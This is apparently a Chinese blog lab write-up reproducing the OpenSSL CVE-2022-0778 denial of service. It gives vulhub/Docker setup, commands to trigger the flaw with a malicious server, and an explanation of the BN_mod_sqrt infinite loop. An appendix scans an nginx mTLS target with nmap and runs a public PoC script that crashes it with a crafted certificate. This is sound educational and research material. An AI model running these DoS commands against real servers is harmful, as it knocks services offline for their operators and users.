OpenSSL 拒绝服务漏洞(CVE-2022-0778)复现

本文针对 OpenSSL 加密库中严重的拒绝服务漏洞 CVE-2022-0778 展开深度实战复现与原理剖析。 文章首先通过 Docker 容器化技术快速搭建受灾环境,模拟真实生产环境下开启 SSL 双向认证(mTLS)的场景。随后,利用工具构造包含畸形椭圆曲线参数(非素数模数 p)的恶意 X.509 证书。在复现环节,文章展示了如何通过远程注入恶意证书触发服务端 BN_mod_sqrt 函数的数学逻辑缺陷,导致目标 Worker 进程陷入死循环并瞬间耗尽 CPU 资源(100% 占用)。

漏洞基础信息

漏洞编号 CVSS 评分 影响版本 漏洞类型
CVE-2022-0778 7.5 OpenSSL 1.0.2-1.0.2ze、1.1.1-1.1.1n、3.0.0-3.0.1 拒绝服务攻击(DOS)

漏洞复现

复现环境准备

使用vulhub快速搭建漏洞环境:

┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose    # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git  # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/openssl/CVE-2022-0778

┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker-compose up -d    # 拉取镜像并启动容器
└─$ docker ps   # 确认容器启动状态

acdab61f4c10   vulhub/openssl:1.1.1m-with-curl   "sleep infinity"   18 minutes ago   Up 18 minutes             cve-2022-0778-curl-1

查看当前靶机的 openssl 版本:

┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ cat docker-compose.yml  # 查看容器服务名称       
version: '2'
services:
  curl:
    image: vulhub/openssl:1.1.1m-with-curl
    command: sleep infinity

└─$ docker compose exec curl openssl version
OpenSSL 1.1.1m  14 Dec 2021     # 该版本确认存在漏洞

攻击过程

这个漏洞复现的过程是诱使靶机连接攻击者搭建的恶意服务器,并在解析证书时触发漏洞。首先搭建恶意服务器,监听 12345 端口,任何连接到此端口的 HTTPS 请求,都会收到一个包含畸形椭圆曲线参数的证书:

┌──(kali㉿kali)-[~]
└─$ docker pull yywing/cve-2022-0778
└─$ docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
start server

查看容器启动情况:

┌──(kali㉿kali)-[~]
└─$ docker ps

e5c6e121cddf   yywing/cve-2022-0778   "badserver --addr 0.…"   4 seconds ago   Up 4 seconds   0.0.0.0:12345->12345/tcp, :::12345->12345/tcp   condescending_sutherland

打开一个新的终端窗口,实时监控受害者容器的资源占用。执行 docker compose exec curl top 实时监控受害者容器的资源占用,重点关注 %CPU 这一列。按下 1 可以查看每个 CPU 的使用情况:如下图所示:

CVE-2022-0778-top

回到靶机,模拟受害者访问恶意服务器的过程:

┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker compose exec curl bash
root@acdab61f4c10:/# curl -k 192.168.31.152:12345

这时候从先前打开的监控窗口可以看到 curl 的 CPU 使用率飙升至100%。

CVE-2022-0778-cpu100

至此已经完成了该漏洞的复现,如果要复现主动发起 DOS 攻击请参考附录。

漏洞核心原理

在公钥基础设施(PKI)中,椭圆曲线密码学(ECC)依赖于有限域 \mathbb{F}_p 上的代数运算。OpenSSL 作为广泛使用的加密库,负责解析 ASN.1 编码的 X.509 证书。在解析过程中,为了重建椭圆曲线点或校验曲线参数的合法性,必须执行模平方根(Modular Square Root)运算。由于 OpenSSL 在底层数学库中缺乏对算法物理前提的强制检查,使得畸形参数能够诱导程序进入非确定性计算状态。

数学基础与算法机理

模平方根定义

给定一个整数 $a$ 和一个素数 $p$,若存在 $x$ 满足:$$x^2 \equiv a \pmod p$$则称 $x$ 为 $a$ 模 $p$ 的平方根。若此方程有解,则 $a$ 称为模 $p$ 的二次剩余(Quadratic Residue)。

Tonelli-Shanks 算法逻辑

OpenSSL 的 BN_mod_sqrt() 函数实现了 Tonelli-Shanks 算法,用于求解上述方程。算法步骤如下: 分解:将 $p-1$ 分解为 $Q \cdot 2^S$ 的形式,其中 $Q$ 为奇数。 寻找非剩余:寻找一个 $z$,使得 $z$ 是模 $p$ 的二次非剩余(Quadratic Non-residue)。 迭代计算:通过循环迭代,利用 $z$ 的幂次逐步修正 $a$ 的幂次,最终逼近平方根。

漏洞触发核心

算法的前提假设

Tonelli-Shanks 算法的正确性和收敛性完全建立在 $p$ 必须为素数 这一数学假设之上。在 $p$ 为素数的情况下,欧拉准则(Euler’s Criterion)保证了有限域中约有 $1/2$ 的元素是二次非剩余,因此算法能以极高概率迅速找到 $z$ 并进入后续迭代。

合数导致的循环失效

在 CVE-2022-0778 中,攻击者通过修改证书的 Explicit Curve Parameters,将模数 $p$ 替换为一个精心构造的合数。当 $p$ 为合数时,算法在第二步(寻找二次非剩余)或第三步(指数收敛过程)中会出现逻辑冲突。在 BN_mod_sqrt 的源代码中,存在如下循环结构:

for (i = 1; i < m; ++i) {
    if (check_condition(t, i, p))
        break;
}

在正常素数域下,变量 $i$ 必定会在达到 $m$ 之前触发 break。然而,当 $p$ 为攻击者构造的合数时,check_condition 产生的中间值可能永远无法满足退出条件。

无限循环的形成

由于 BN_mod_sqrt 函数在进入循环前未对 $p$ 进行 Miller-Rabin 素性测试,程序会盲目进入迭代阶段。由于合数域下的幂次运算不满足拉格朗日定理(Lagrange’s Theorem)在素数域下的特例,循环变量 $i$ 可能无法在预定范围内触发终止逻辑,导致外部指令流在当前代码块内产生无限跳转。

漏洞利用路径:ASN.1 编码注入

攻击向量构造

攻击者无需伪造证书签名。利用工具(如 jkakavas/CVE-2022-0778-POC)通过以下步骤构造载荷: 修改字段:定位 ASN.1 结构中的 prime-field 字段。 注入合数:将合数编码入 parameters 对象。 触发解析:将包含该参数的证书作为客户端证书(Client Certificate)在 TLS 握手阶段发送。

绕过验证

解析逻辑发生在证书链校验(Signature Verification)之前。当服务器(如 Nginx)调用 d2i_X509 系列函数尝试将二进制流转换为内部结构时,会自动触发参数校验逻辑,从而在执行任何安全策略前优先触发 CPU 耗尽。

附录

主动发起 DOS 攻击

之前的复现过程是攻击者等待被右边的受害者主动请求攻击者搭建的恶意服务器,下面尝试攻击者主动瘫痪目标网站的尝试。

搭建环境

在原来 vulhub/openssl/CVE-2022-0778 目录下新建一个存放证书的文件夹并生成一个自签名的服务器证书:

┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker-compose down # 先关闭容器(如果启动)
└─$ mkdir certs
└─$ openssl req -x509 -newkey rsa:2048 -keyout certs/server.key -out certs/server.crt -days 365 -nodes -subj "/C=CN/ST=BJ/L=BJ/O=Test/OU=Test/CN=localhost"

.+......+.....+....+.....+.+.....+.............+...........+++++++++++++++++++++++++++++++++++++++*......+.+..+.+...........+.+..+.+..+....+...+..+.........+++++++++++++++++++++++++++++++++++++++*.+...+.+.....+....+...........+...+...............................+.........+..+.+........+......+....+.....+......+.+.....+.......+......+.........+.....+...+...............+..........+.........+...+.....+.......+...........+....+......+.....+.............+.....+......+.+..+...+....+...........+.......+...+..+.+............+.................++++++
.......+...+....+...+...+..+.......+...+..+......+.........+...................+++++++++++++++++++++++++++++++++++++++*.....+...............+..+..........+.........+.....+.+........+.+.................+.......+..+...+.......+.....+.+.....+...+....+.....+...+.......+.....+.............+.....+.........+....+..........................+.+............+...+...+++++++++++++++++++++++++++++++++++++++*..+.+........+.......+...+......+...+...+.....+...+.+..................+...+.................+......+.+...+.....+............+....+..............+......+.+.....+...+...+....+..............+......+.+.................+.......+......+..+...+.......+..+....+......+........+.....................+......+.+..................+..+.......+..+....+.....++++++
-----

在当前目录下创建 Nginx 配置文件:nginx.conf,并开启双向认证 ssl_verify_client on

events { worker_connections 1024; }
http {
    server {
        listen 443 ssl;
        server_name localhost;

        # Nginx 自身的证书
        ssl_certificate     /etc/nginx/certs/server.crt;
        ssl_certificate_key /etc/nginx/certs/server.key;

        # 核心设置:要求客户端提供证书,触发漏洞解析逻辑
        ssl_verify_client on;

        # 指向一个 CA(这里暂时指向我们自己的 crt 即可)
        # 漏洞触发在证书解析阶段,早于证书链验证阶段
        ssl_client_certificate /etc/nginx/certs/server.crt;

        location / {
            root /usr/share/nginx/html;
            index index.html;
        }
    }
}

修改原有的 docker-compose.yml 文件,增加 nginx 服务:

version: '2'
services:
  curl:
    image: vulhub/openssl:1.1.1m-with-curl
    command: sleep infinity
  nginx:
    image: nginx:1.18.0
    ports:
      - "443:443"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
      - ./certs:/etc/nginx/certs:ro

重新拉取镜像启动容器:

┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker-compose up -d
└─$ docker ps

7f9bbf12a482   nginx:1.18.0                      "/docker-entrypoint.…"   17 minutes ago   Up 17 minutes   80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp   cve-2022-0778-nginx-1
c5e20348f12c   vulhub/openssl:1.1.1m-with-curl   "sleep infinity"          17 minutes ago   Up 17 minutes                                                   cve-2022-0778-curl-1

验证配置:docker compose exec nginx nginx -T | grep ssl_verify_client如果输出 ssl_verify_client on;,说明靶机已经准备好“解析”任何你发过去的恶意证书了。

启动监控:Nginx 官方镜像通常使用的是极简的 Debian 或 Alpine 系统,为了减小体积,镜像里并没有安装 top 命令。可以使用 docker stats 监控,在攻击前,CPU % 应该接近 0%。发起攻击后,它会瞬间跳升并稳定在 100%。这是最简单、最直观的方法,不需要进入容器内部。

目标探测

┌──(root㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default" 192.168.31.148

# 扫描结果
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http nginx 1.18.0
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=localhost/organizationName=Test/stateOrProvinceName=BJ/countryName=CN
| Not valid before: 2026-01-23T17:24:27
|_Not valid after:  2027-01-23T17:24:27
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0
|_http-title: 400 No required SSL certificate was sent
| tls-nextprotoneg: 
|_  http/1.1
MAC Address: 00:0C:29:B3:23:74 (VMware)

nginx 1.18.0: 确认了受灾版本。Nginx 1.18.0 默认链接的 OpenSSL 通常在 1.1.1 系列(如 1.1.1f 或 1.1.1g),属于漏洞影响范围。

400 No required SSL certificate was sent:这是最关键的一行。它表明当 Nmap 尝试访问网页时,服务器返回了 400 错误,并明确提示“未发送所需的 SSL 证书”。这证实了靶机的 ssl_verify_client on; 配置已生效。

commonName=localhost/organizationName=Test/stateOrProvinceName=BJ/countryName=CN: 这显示了之前手动生成的自签名服务器证书已挂载成功。

DOS 攻击

本次复现使用了jkakavasd的 POC。较新版本的 Kali Linux 遵循了 PEP 668 规范,禁止直接在全局环境中使用 pip 安装包,因此需要创建一个虚拟环境。

┌──(root㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ git clone https://github.com/jkakavas/CVE-2022-0778-POC.git
└─$ cd CVE-2022-0778-POC

┌──(root㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]
└─$ python3 -m venv CVE-2022-0788-venv
└─$ source CVE-2022-0788-venv/bin/activate  # 切换虚拟环境

┌──(CVE-2022-0788-venv)─(root㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]
└─$ pip install -r requirements.txt # 安装依赖

注意,在这个脚本中使用了一个异步库 asyncore ,Python 官方在 3.10 版本将其标记为过时,并在 3.12 版本中将其彻底移除。社区为了解决这个问题,提供了一个独立的 pyasyncore 包。因此还需要安装 pip install pyasyncore 以保证 tlslite-ng 正常运行。

开始攻击:

┌──(CVE-2022-0788-venv)─(root㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]
└─$ python3 main.py --server 192.168.31.148 --port 443
Crafted Certificate msg sent, check server.

此时立即去查看 Nginx 监控,发现 CPU 占用率从 0% 直接跃升并固定在 100%,说明已经成功从远程通过注入畸形证书打挂了 Nginx 的解析进程。

CVE-2022-0778-nginxcpu100
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇